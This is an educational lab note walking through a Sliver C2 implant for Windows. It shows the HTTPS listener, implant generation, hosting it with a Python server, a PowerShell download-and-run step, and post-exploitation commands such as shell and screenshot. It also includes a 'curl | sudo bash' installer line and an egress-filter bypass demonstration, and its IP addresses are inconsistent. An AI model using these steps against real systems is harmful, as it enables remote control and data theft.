

Custom payload generation using silver



Educational lab note: Use only in authorized environments and systems you own or have explicit permission to test.

Goal: Generate a Windows Sliver implant that calls back over HTTPS (443), host it from Kali, execute it on the Windows VM, then validate the session in Sliver.

Prereqs

- Kali IP address reachable **from the Windows VM** (typically your host-only / lab network interface)
- Windows VM with Defender real-time protection disabled (for this lab)
- Two terminals on Kali (one for Sliver, one for serving the file)
- Avoid port conflicts on **443** (details in Pitfalls)

Step 1 — Install Sliver (Kali)

```
sudo apt update && sudo apt install sliver
```

Alternative: download the `.deb` from <https://github.com/BishopFox/sliver/releases>

Step 2 — Start Sliver

```
sliver
```

First run generates server keys and may take a few seconds. Your prompt becomes:

```
sliver >
```

Keep this terminal open—Sliver must stay running.

If this doesn't work, follow the process below:

Alternative: Use the Official Installer

If you prefer to follow tutorials exactly as they are written (where typing `sliver` launches everything simultaneously), you can remove the Kali package and use the official one-liner provided by BishopFox:

Bash

```
# Remove the Kali version
sudo apt remove sliver

# Install via the official script
curl https://sliver.sh/install | sudo bash
```

Step 3 — Start the HTTPS listener (do this before generating)

```
https --lhost 192.168.102.132 --lport 443
```

Confirm the listener job is running:

```
jobs
```

You should see a job named `https` on port `443`.

Step 4 — Generate the payload

```
generate --http 192.168.102.132:443 --os windows --arch amd64 --format exe --save /var/www/html --name https-demo
```

Expected output:

```
[*] Generating new windows/amd64 Sliver binary
[*] Build completed in 00:01:30
[*] Implant saved as HTTPS-DEMO.exe
```

Notes

- The first build can take **1–3 minutes** (Go compile + obfuscation). Pre-build before class.
- `--name` is optional; without it Sliver chooses a random filename.
- The `--name` value becomes part of the output filename.

Step 5 — Serve the payload to the Windows VM

In a **second** Kali terminal:

```
cd /var/www/html
python3 -m http.server 8080
```

Verify from Windows

Browse to:

```
http://192.168.102.132:8080/HTTPS-DEMO.exe
```

You should see a download prompt.

Step 6 — Execute on the Windows VM

Option A — Browser download, then run the `.exe`

Option B — PowerShell:

```
Invoke-WebRequest -Uri http://192.168.56.10:8080/HTTPS-DEM
0.exe -OutFile HTTPS-DEMO.exe
.\HTTPS-DEMO.exe
```

Nothing visibly happens on Windows. In Sliver you should see something like:

```
[*] Session 1 opened - HTTPS-DEMO @ DESKTOP-ABC123 - 192.168.56.20:52344
```

Step 7 — Interact with the session (back in Sliver)

List sessions:

```
sessions
```

Enter a session (example uses ID 1):

```
use 1
```

Helpful commands:

```
info  
whoami
```

Spawn a Windows shell (type `exit` to return to Sliver):

```
shell
```

Take a screenshot:

```
screenshot
```

Cleanup

Exit the session (from inside it, if applicable):

```
exit
```

Stop listeners:

```
kill-jobs
```

Quit Sliver:

```
exit
```

Common pitfalls (tell students)

1. Listener must be running before executing the payload

Otherwise the implant calls back into nothing and dies silently.

2. Port 443 conflict on Kali

If Apache is already bound to 443, the Sliver listener can't bind. Fix options:

- Use a different listener port: `--lport 8443`
- Or stop Apache: `sudo systemctl stop apache2`
(Then serve the implant via Python on 8080 as shown.)

3. First generate is slow

Builds are faster afterward due to Go build caching.

4. Wrong IP address

The IP in `--http` must be the Kali IP **reachable from the Windows VM**, not `127.0.0.1`.

Bonus: Firewall lab tie-in

This setup fits an egress-filtering exercise:

- After `Set-NetFirewallProfile -DefaultOutboundAction Block` with only **80/443** allowed, `HTTPS-DEMO.exe` still calls back.
- An mTLS payload on something like **8888** is blocked.

This mirrors the common msfvenom lab flow but using Sliver.